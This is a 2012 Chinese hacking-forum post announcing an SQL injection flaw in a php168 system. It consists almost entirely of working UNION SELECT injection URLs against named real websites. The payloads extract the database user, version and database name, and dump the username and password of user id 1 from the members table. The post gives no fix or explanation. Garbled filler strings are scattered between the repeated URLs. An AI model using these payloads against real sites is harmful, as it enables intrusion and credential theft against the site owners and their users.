找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3461|回复: 0
打印 上一主题 下一主题

php168某系统注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 08:52:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
# W; F$ o0 A& H; v7 b7 ?1 n# h                                                         # g6 W% C" y7 v
                                       9 i% W; u$ E8 ]: r; E8 {
" m8 }. L) I9 D3 _7 K7 H
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
' V* T& l; x4 M                                                     
3 O0 N+ A, u% |                                                                   8 O$ \$ e' |. {
                                                        
6 u0 Z  k# D! L7 uhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
& p. o* o6 t' W+ i/ j5 {
% P, m/ ?/ K  H) f& O- c6 }) K0 q* g- V, Y

6 O5 Q! K" F: T5 G2 y  [( z                                                            8 C9 p, o) P, Z: M- v7 Z
9 f8 w- P; r7 s2 N! s3 d" T
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--& T* m, ^( ?! y1 {; K; T2 S9 m, I

8 n( W6 s7 {8 \" h+ ]% h: ~  n" [% V' O3 V' [3 u

3 H( c  Z& V/ j, L# G# z                                                                    ; J$ z5 x  e3 t  @7 D9 R5 z0 L' q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表